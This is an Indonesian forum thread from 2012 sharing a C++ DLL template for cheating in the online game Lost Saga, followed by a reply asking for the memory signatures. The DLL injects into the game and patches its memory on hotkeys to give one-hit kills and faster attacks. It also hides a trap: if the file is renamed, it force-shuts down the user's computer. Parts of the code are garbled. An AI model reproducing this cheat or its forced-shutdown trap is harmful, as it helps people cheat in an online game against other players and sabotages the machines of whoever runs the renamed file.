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 BASE LOST SAGA |UNIT TEMPLATE|

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PostSubyek: BASE LOST SAGA |UNIT TEMPLATE|   Tue Jul 17, 2012 6:04 am

#define WIN32_LEAN_AND_MEAN

#include <windows.h>

#include <stdio.h>

#include <stdlib.h>



//============ OFFSET ============

#define OneHitCSD 0x //Cari Pke AOB

#define FastDelay 0x //Cari Pke AOB

//============ ------ ============



LPTSTR ModulGame = "lostsaga.exe"; //Targetnya



void Patch(void *adr, void *ptr, int size)



{



DWORD OldProtection;

VirtualProtect(adr,size,PAGE_EXECUTE_READWRITE, &OldProtection);

memcpy(adr,ptr,size);

VirtualProtect(adr,size,OldProtection, &OldProtection);

}

void WritePointer(unsigned long ulBase, int iOffset, int iValue)

{

if (!IsBadReadPtr((VOID*)ulBase, sizeof(unsigned long)))

{

if (!IsBadWritePtr((void*)(*(unsigned long*)ulBase + iOffset), sizeof(unsigned long)))

{

*(int*)(*(unsigned long*)ulBase + iOffset) = iValue;

}

}

}

void SaNzLavigne()

{

while(1)

{





//========== 1 Hit Crusade ==========//

if (GetAsyncKeyState(VK_F1)&1) { // On

MessageBeep(MB_ICONINFORMATION);

DWORD adrMin1, adrMin2 = 0;

DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe");

if (dwPB > 0) {

adrMin1 = dwPB + (DWORD)OneHitCSD;

Patch((void *)(adrMin1),(void*)(PBYTE)"\x00", 1); // Base Code

}

}



if (GetAsyncKeyState(VK_F2)&1) { // Off

MessageBeep(MB_ICONINFORMATION);

DWORD adrMin1, adrMin2 = 0;

DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe");

if (dwPB > 0) {

adrMin1 = dwPB + (DWORD)OneHitCSD;

Patch((void *)(adrMin1),(void*)(PBYTE)"\x4D", 1); // Base Code

}

}



//========== Fast Delay ==========//

if (GetAsyncKeyState(VK_F11)&1) { // Hotkey ON

MessageBeep(MB_ICONINFORMATION);

DWORD adrMin1, adrMin2 = 0;

DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe");

if (dwPB > 0) {

adrMin1 = dwPB + (DWORD)FastDelay;

Patch((void *)(adrMin1),(void*)(PBYTE)"\x68\x61\x73", 3); // Base Code

}

}



if (GetAsyncKeyState(VK_F12)&1) { // Hotkey OFF

MessageBeep(MB_ICONINFORMATION);

DWORD adrMin1, adrMin2 = 0;

DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe");

if (dwPB > 0) {

adrMin1 = dwPB + (DWORD)FastDelay;

Patch((void *)(adrMin1),(void*)(PBYTE)"\x6D\x61\x78", 3); // Base Code

}



}

}



Sleep(5); // Perintah jeda

}





BOOL APIENTRY DllMain(HINSTANCE hDll, DWORD callReason, LPVOID lpReserved) {



DisableThreadLibraryCalls(hDll);



if(callReason == DLL_PROCESS_ATTACH) {





Interaction ====||",MB_ICONINFORMATION | MB_OK); // Notice 1

MessageBox(0, "Hotkeys :\n[-_-] 1 Hit Crusade : F1 = ON | F2 = OFF\n[-_-] Fast Delay : F11 = ON | F12 = OFF\n\nTekan on pada saat Menyambung UDP dan offkan saat Puppeteer penuh ", "||==== Stuart'z Little ====||",MB_ICONINFORMATION | MB_OK); // Notice 2



CreateThread(0, 0, (LPTHREAD_START_ROUTINE)&SaNzLavigne,0, 0, 0);



char strDLLName [_MAX_PATH];



GetModuleFileName(hDll, strDLLName , _MAX_PATH);



//-================= Edit sendiri agar tidak di Rename =========================-//

if (strstr(strDLLName, "LSNew.dll") <= 0) {//Nama DLL Asli

MessageBox(0, "File Di Rename","Bug!!!!!!!!!",MB_ICONSTOP | MB_OK); // tampilkan pesan, kalo dll nya sdh di rename

MessageBox(0, "Jngan Di Ganggu file","Bug!!!!!!!!!",MB_ICONSTOP | MB_OK);

MessageBox(0, "Bye Computer anda Dalam Perbaikan !\nShutdown the computer","Bug!!!!!!!!!",MB_ICONSTOP | MB_OK);

system("start C:/Windows/System32/shutdown.exe -s -f -t 00");

ExitProcess(0);//Error



}



}



}




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VGM.™ReggaeGasspol™
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PostSubyek: Re: BASE LOST SAGA |UNIT TEMPLATE|   Tue Jul 17, 2012 12:06 pm

AOB Nya Bang..
Hehehhehe
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